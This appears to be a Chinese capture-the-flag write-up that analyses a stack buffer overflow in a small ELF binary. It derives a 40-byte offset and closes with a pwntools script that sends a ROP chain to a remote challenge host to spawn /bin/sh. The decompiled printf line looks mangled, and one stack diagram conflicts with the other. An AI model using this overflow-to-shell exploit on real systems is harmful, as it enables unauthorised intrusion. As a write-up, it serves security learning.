检查程序
$ file pwn pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e9c3e8aac19e8a6dabd60d74867b72be88fa662e, for GNU/Linux 3.2.0, not stripped
|
放入IDA中进行分析:
int __fastcall main(int argc, const char **argv, const char **envp) { _QWORD buf[4];
setbuf(stdin, 0); setbuf(stdout, 0); memset(buf, 0, sizeof(buf)); puts("Please Input your name."); read(0, buf, 0x100u); printf((const char *)'@ \'', (const char *)buf); return 0; }
|
在上述反汇编出的代码中,我们得知该程序分配了一个大小为20的局部栈空间用作缓冲区,接下来我们尝试阅读一下汇编代码;
push rbp mov rbp, rsp sub rsp, 20h mov rax, cs:stdin@@GLIBC_2_2_5 mov esi, 0 ; buf mov rdi, rax ; stream call _setbuf mov rax, cs:stdout@@GLIBC_2_2_5 mov esi, 0 ; buf mov rdi, rax ; stream call _setbuf mov [rbp+buf], 0 mov [rbp+var_18], 0 mov [rbp+var_10], 0 mov [rbp+var_8], 0 lea rdi, s ; "Please Input your name." call _puts lea rax, [rbp+buf] mov edx, 100h ; nbytes mov rsi, rax ; buf mov edi, 0 ; fd call _read lea rax, [rbp+buf] mov rsi, rax lea rdi, format ; "hello %s" mov eax, 0 call _printf mov eax, 0 leave retn
|
首先是第一行push rbp
,其保存了修改前的rbp
,在之后的mov rbp, rsp
其设置了一个新的rbp
,以下是原始的栈帧
高地址 (栈底方向,rbp 所在) +----------------------+ | 调用者栈帧 ... | +----------------------+ | 保存的 rbp (8 bytes) | <-- rbp 指向这里 +----------------------+ | 返回地址 (8 bytes) | <-- rbp + 8 (覆盖这里可以控制程序流) +----------------------+ | 可能的对齐或未使用 | +----------------------+ | var_8 (rbp - 8) | 初始 0 +----------------------+ | var_10 (rbp - 0x10) | 初始 0 +----------------------+ | var_18 (rbp - 0x18) | 初始 0 +----------------------+ | buf (rbp - 0x20) | 初始 0,read 读取的数据从这里开始存放 +----------------------+ <-- rsp 指向这里(分配局部变量后) 低地址 (栈顶方向)
|
当程序执行后rbp
被保存并设置了一个新的,那么修改后的栈布局如下:
高地址 +----------------------+ | 调用者栈帧 ... | +----------------------+ | 返回地址 (8 bytes) | <-- rbp + 8 +----------------------+ | 保存的 rbp (8 bytes) | <-- rbp 指向这里 +----------------------+ | var_8 (rbp - 8) | 初始 0 +----------------------+ | var_10 (rbp - 0x10) | 初始 0 +----------------------+ | var_18 (rbp - 0x18) | 初始 0 +----------------------+ | buf (rbp - 0x20) | 初始 0 <-- rsp 指向这里 +----------------------+ 低地址
|
由于我们的返回地址应该还包括保存的rbp
地址(8字节),而修改后的rbp到返回地址的偏移量是32,于是最终的偏移量有两种写法:
payload = b'a'*40 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
|
payload = b'a'*32 + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
|
我们在gdb中进行验证

之后继续在IDA中分析;


跟进后发现其可以调用/bin/sh
,因此我们得出一个思路:当我们溢出到system时其自动调用/bin/sh
Exp如下:
from pwn import *
sh = remote('117.72.52.127', 12677)
sh.recvuntil(b'Please Input your name')
pop_rdi_ret = 0x40126b system_addr = 0x401050 binsh_addr = 0x402004
payload = b'a'*40 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) sh.send(payload) sh.interactive()
|